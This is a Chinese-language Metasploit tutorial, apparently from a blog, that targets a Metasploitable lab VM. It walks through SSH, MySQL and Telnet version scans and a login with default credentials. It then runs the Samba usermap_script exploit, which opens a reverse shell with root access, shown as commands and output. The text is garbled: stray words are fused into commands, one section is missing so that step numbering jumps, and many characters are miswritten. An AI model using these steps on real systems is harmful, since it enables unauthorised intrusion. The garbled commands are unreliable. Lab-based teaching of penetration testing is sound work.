Kali系统 metasploit 使用教程

日期：2022-03-02 20:10:59 栏目：工具浏览：1420 评论：0

基础配置

因为kali 2.0 已经没有metasploit 这个服务了，因此service metasploit start 的方式不起做用。
在kali 2.0中启动带数据库支持的MSF方式以下：
1 首先启动postgresql数据库：
/etc/init.d/postgresql start；或者 service postgresql start；
2 初始化MSF数据库（关键步骤！）：msfdb init；（如不能初始化，就用msfdb reinit试试吧！默认建立的数据库名：msf，msf_test;用户名：msf；口令默认为空）
3 运行msfconsole：msfconsole；
4 在msf中查看数据库链接状态：db_status。
5更新metasploit:msfupdate（个人更新，暂未成功，应该是源的问题！）
6设置启动自动启动msf和postgresql：
update-rc.d postgresql enable
update-rc.d metasploit enable
好了，如今咱们来试试，怎么用吧！

Kali系统 metasploit 使用教程-第1张图片-Ceacer网络

php在Metasploit中扫描

在Metasploit中，附带了大量的内置扫描器。使用这些扫描器能够搜索并得到来自一台计算机或一个完整网络的服务信息。本节将介绍使用Metasploit中的辅助模块实现扫描。
【实例4-4】在Metasploit中，扫描目标主机。具体操做步骤以下所示：
（1）启动MSF终端。执行命令以下所示：
root@kali:~# msfconsole
msf>
（2）搜索全部可用的扫描模块。执行命令以下所示：
msf > search scannerhtml

Matching Modules

Name Disclosure Date Rank Description
—- ——————– ———– ———————————————
auxiliary/admin/smb/check_dir_file normal SMB Scanner Check File/Directory Utility
auxiliary/bnat/bnat_scan normal BNAT Scanner
auxiliary/gather/citrix_published_applications normal Citrix MetaFrame ICA Published Applications Scanner
auxiliary/gather/enum_dns normal DNS Record Scanner and Enumerator
auxiliary/gather/natpmp_external_address normal NAT-PMP External Address Scanner
auxiliary/gather/windows_deployment_services_shares normal Microsoft Windows Deployment Services Unattend Gatherer
auxiliary/pro/nexpose normal PRO: Nexpose Scanner Integration
auxiliary/pro/webscan normal PRO: Web Application Scanner
auxiliary/scanner/afp/afp_login normal Apple Filing Protocol Login Utility
auxiliary/scanner/afp/afp_server_info normal Apple Filing Protocol Info Enumerator
auxiliary/scanner/backdoor/energizer_duo_detect normal Energizer DUO Trojan Scanner
auxiliary/scanner/chargen/chargen_probe 1996-02-08 normal Chargen Probe Utility
输出信息显示了，Metasploit中全部可用的扫描模块。这些模块针对各类类型的服务。这里为了缩小查看的范围，搜索SSH服务的扫描模块。
（3）扫描SSH服务的扫描模块。执行命令以下所示：
msf > search scanner/sshmysql

Matching Modules

Name Disclosure Date Rank Description
—- ————— ———– ——————————————-
auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal Cerberus FTP Server SFTP Username Enumeration
auxiliary/scanner/ssh/ssh_enumusers normal SSH Username Enumeration
auxiliary/scanner/ssh/ssh_identify_pubkeys normal SSH Public Key Acceptance Scanner
auxiliary/scanner/ssh/ssh_login normal SSH Login Check Scanner
auxiliary/scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner
auxiliary/scanner/ssh/ssh_version normal SSH Version Scanner
输出的信息，显示了几个有效的SSH模块。如今就能够选择相应的模块，进行扫描了。
（4）使用ssh_version模块扫描SSH服务。执行命令以下所示：
msf > use auxiliary/scanner/ssh/ssh_version
（5）查看ssh_version模块下可配置的选项参数。执行命令以下所示：
msf auxiliary(ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
———— ————— ——– —————————————————————————–
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
输出的信息显示了可配置的模块。从以上结果中，能够看出RHOSTS选项没有配置。
（6）配置RHOSTS选项。执行命令以下所示：
msf auxiliary(ssh_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
从输出的结果中，能够看到RHOSTS（目标主机地址）选项已经设置为192.168.6.105（Metasploit 2操做系统）。
（7）启动扫描。执行命令以下所示：
msf auxiliary(ssh_version) > exploit
[*] 192.168.6.105:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >
从输出的信息中，能够看到目标系统正运行SSH服务，而且版本为SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1。
【实例4-5】扫描MySQL服务器。具体操做步骤以下所示：
（1）登陆MSF终端。执行命令以下所示：
root@kali:~# msfconsole
msf>
（2）使用mysql_version模块，并查看该模块中可配置的选项参数。执行命令以下所示：
msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options
Module options (auxiliary/scanner/mysql/mysql_version):
Name Current Setting Required Description
—- ————— ——– ———–
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
从输出的信息中，能够看到RHOSTS选项没有配置。此时，配置RHOSTS来指定目标主机的地址。
（3）设置RHOSTS选项，并进行MySQL服务扫描。执行命令以下所示：
msf auxiliary(mysql_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(mysql_version) > exploit
[*] 192.168.6.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
从输出的结果中，能够看到目标主机上正在运行的MySQL版本是5.0.51a。
【实例4-6】扫描Telnet服务。具体操做步骤以下所示：
（1）启动MSF终端。执行命令以下所示：
root@kali:~# msfconsole
msf>
（2）使用telnet_version模块，并查看可配置的选项参数。执行命令以下所示：
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
—- ————— ————— ———————————————————————–
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
RPORT 23 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe
USERNAME no The username to authenticate as
从输出的信息中，能够看到有四个必须配置选项。其中三个选项已经配置，如今配置RHOSTS选项。
（3）配置RHOSTS选项，并启动扫描。执行命令以下所示：
msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(telnet_version) > exploit
[*] 192.168.6.105:23 TELNET _ _ _ _ _ _ _ \x0a _ | | _ _ _ | | _ () | | |_ | | | \ \x0a| ‘_ _ \ / _ \ __/ _ / | ‘_ | |/ _ | | / ` | ‘ | |/ _ \ ) |\x0a| | | | | | / || (| _ \ |) | | () | | || (| | |) | | // / \x0a|| || ||__|____,|/ ./||__/||___,|./||_||\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
从以上输出的信息，仅看到一堆文本信息。在这些信息中，没有关于Telnet服务的版本信息。可是显示了登陆认证信息，Login with msfadmin/msfadmin to get started。从这条信息中，能够获取到目标主机Telnet服务的用户名和密码。此时能够尝试登陆。
（4）登陆目标主机的Telnet服务。执行命令以下所示：
root@kali:~# telnet -l msfadmin 192.168.6.105
Trying 192.168.6.105…
Connected to 192.168.6.105.
Escape character is ‘^]’.
Password: #输入密码msfadmin
Last login: Tue Jul 8 06:32:46 EDT 2014 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~web

Matching Modules

Name Disclosure Date Rank Description
—- ————— ———– ———————————————–
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba “username map script” Command Execution
从输出的信息中，能够看到有个usermap模块。
（3）查看usermap_script模块的详细信息。执行命令以下所示：
msf > info exploit/multi/samba/usermap_script
Name: Samba “username map script” Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
jduck [email protected]
Available targets:
Id Namesql

0 Automatic
Basic options:
Name Current Setting Required Description
—- ————— ——– ———–
RHOST yes The target address
RPORT 139 yes The target port
Payload information:
Space: 1024
Description:
This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
“username map script” configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands. No authentication is needed to exploit this vulnerability
since this option is used to map usernames prior to authentication!
References:
http://cvedetails.com/cve/2007-2447/
http://www.osvdb.org/34700
http://www.securityfocus.com/bid/23972
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
http://samba.org/samba/security/CVE-2007-2447.html
输出的信息显示了usermap_script模块的详细信息。从输出信息中能够看到，该模块仅须要配置RHOST选项就能够了。这里不须要加载任何攻击载荷，就能够自动使用一个Linux命令Shell。
（3）选择使用usermap_script模块，并设置RHOST选项。执行命令以下所示：
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.6.105
RHOST => 192.168.6.105
（4）启动渗透攻击。执行命令以下所示：
msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo IwmN37I0D3cTGJhv;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “IwmN37I0D3cTGJhv\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:34848) at 2014-07-16 10:00:59 +0800
从输出的信息中，能够看到成功的打开了一个会话。这表示已成功攻击了目标主机。此时用户能够执行一些Linux命令，查看目标主机的相关信息。以下所示：
whoami #查看当前登陆系统的用户
root
从输出的信息中，能够看到当前目标系统登陆的用户名是root。若是想了解该用户的详细信息，可使用id命令查看。以下所示：
id #查看当前登陆用户的信息
uid=0(root) gid=0(root)
输出的信息表上root用户属于root组，而且其UID和GID都为0。
ll